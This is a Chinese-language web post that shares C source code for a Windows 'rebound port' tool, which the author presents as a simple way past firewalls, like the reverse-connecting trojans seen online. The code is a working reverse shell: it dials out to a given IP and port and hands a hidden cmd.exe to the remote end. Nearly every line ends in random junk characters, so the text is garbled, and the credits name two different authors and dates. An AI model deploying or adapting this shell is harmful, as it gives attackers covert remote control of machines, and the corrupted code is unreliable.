Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 %abc-q  
*1g3,NMA  
/* ============================== L-1#n  
Rebound port in Windows NT uo-1.[9ds  
By wind,2006/7 }0AoV&75  
===============================*/ @|EWif|  
#include sr-tZ^d5S?  
#include jhH&}d9  
) m(!lDz3  
#pragma comment(lib,"wsock32.lib") g+3_ $qIQ+  
A\ r}V-  
void OutputShell(); j]J-#J  
SOCKET sClient; *NCkC ~4  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; R^&.:;Wi>  
2"IDz01ne  
void main(int argc,char **argv) Hd57Iw  
{ L'u*WHj|v  
WSADATA stWsaData; <HH\VG\H6  
int nRet; dheobD  
SOCKADDR_IN stSaiClient,stSaiServer; /Csk"IfuO  
S9%ZeM+  
if(argc != 3) z^u*e  
{ /B)`pF.n  
printf("Useage:\n\rRebound DestIP DestPort\n"); cyBm,!  
return; lx:.9>  
} V@r V+s  
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WSAStartup(MAKEWORD(2,2),&stWsaData); dF$&fo%  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TGHyBPJb  
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stSaiClient.sin_family = AF_INET; U3~rtc*  
stSaiClient.sin_port = htons(0); y 'Ah
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); A$70!5*  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) qi$nG_<<Z  
{ $ D.*r*c6  
printf("Bind Socket Failed!\n"); u4|)A4n  
return; ^j7>Ul,  
} *JF7
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stSaiServer.sin_family = AF_INET; ?D;7ut$~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); I(>j"H)cAF  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %#TAz7  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) & tjL*/  
{ 7ygz52  
printf("Connect Error!");
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return; sGG q~7  
} Cs2kbG_  
OutputShell(); KzQuLD(e  
} rlY n"3%  
kQD~v+u{`  
void OutputShell() TeKU/&fkc  
{ B*:W`}G]_c  
char szBuff[1024]; ?-JW2 E"uT  
SECURITY_ATTRIBUTES stSecurityAttributes; m=rMx]k  
OSVERSIONINFO stOsversionInfo; q\xsXM  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; v^aI+p6  
STARTUPINFO stStartupInfo; 9XmbH
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char *szShell; Rk#p zD  
PROCESS_INFORMATION stProcessInformation; QL:Qzr[  
unsigned long lBytesRead; %OOy90b2  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); gO#%*  W  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); kgd dq  
stSecurityAttributes.lpSecurityDescriptor = 0; $}B&u)  
stSecurityAttributes.bInheritHandle = TRUE; 7()5\ae@q'  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); hISYtNWjd"  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ;?C`Jagx  
|lN=q44I  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )JY#8,{w  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }=A+W2D  
stStartupInfo.wShowWindow = SW_HIDE; rJ(AO'=  
stStartupInfo.hStdInput = hReadPipe; Vi#[kn'
 
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; C!Jy
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GetVersionEx(&stOsversionInfo); 5xQ5)B4k  
WO$8j2!~#  
switch(stOsversionInfo.dwPlatformId) F`>qg2wO  
{ ?}HZJ@:lB  
case 1: G"ixw  
szShell = "command.com"; #'. '|z  
break; Q)\[wYMt  
default: h{ZK;(u$  
szShell = "cmd.exe"; r,q.RWuII  
break; 
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} 6=96^o*  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); WW-}c;cnK  
? M.'YB2  
send(sClient,szMsg,77,0); XB a^ A  
while(1) n[\L6}  
{ 9'p*7o  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %~P3t=r  
if(lBytesRead) \d3~kq3  
{ )5fly%-r)  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3xgU=@!;  
send(sClient,szBuff,lBytesRead,0); =&PO_t5)z  
} 4#W*f3d[@:  
else L s+
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{ yq!peFu  
lBytesRead=recv(sClient,szBuff,1024,0); *VaQ\]:d  
if(lBytesRead<=0) break; +_jM$?:F}  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);
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} bI8')a  
} #mD_<@@  
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return; &{q<  
}